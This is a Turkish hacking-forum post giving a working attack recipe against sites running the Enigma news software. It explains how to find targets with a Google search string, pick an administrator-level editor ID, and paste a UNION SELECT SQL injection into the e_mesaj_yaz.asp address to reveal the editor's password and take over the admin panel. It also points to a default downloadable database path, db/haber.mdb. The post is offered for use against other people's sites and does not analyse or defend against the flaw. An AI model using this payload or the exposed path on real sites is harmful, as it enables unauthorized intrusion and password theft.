Enigma Haber Açığı

S

serkan tr

Katılımcı Üye
23 Haz 2007
368
2
Beşiktaş

Google'de inurl:/e_mesaj_yaz.asp Şeklinde Aratın.Dahada Geliştirebilriisniz Arama Şekillerini.Daha Sonra Ordaki Sitelerden Birisinde Editörler Vardır Yanda Falan.yoksa t_editor.asp Ekleyin Adres Satırına Editörler Karşınıza Çıkar.. Ordan Editörlere Bakınız Ve Bilgilerinde Dikkat Edilmesi Gereken Şey Tam Yetki Kazanmak İçin Seviye= 5 Olmalıdır.Diğer Dikkat Edilmesi Gereken Şey Kullanıcı İd'sini almak Adres Satırında Vardır.10 Harfli Rakam Şeklinde.İD'yi Kopyalayın Ve

/e_mesaj_yaz.asp?id=UİD+UNION+SELECT+0,sifre ,2,3,4,5,6,7,8,9,10,110,0,0,0,0,0,0,0,0,0,0,0,0,0, 0+FROM+yonet+where+yonetid=UİD

Yukarıdaki UİD Yazan Yere Ekleyin Ve Bunu Adres Satırına Girdiğinizde Editor Adı Kısmında Editorün Şifresi Gelir Ve Gerisini /admin Sayfasından Haledersiniz.

Diğer Bi Açık Db Yolu Açığı.Bazı Adminler Db Yolunu Değiştirmeden Atıyo Genelde.
Db Yolu= db/haber.mdb

alıntıdır!
 
Cevap yazmak için giriş yap yada kayıt ol.
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.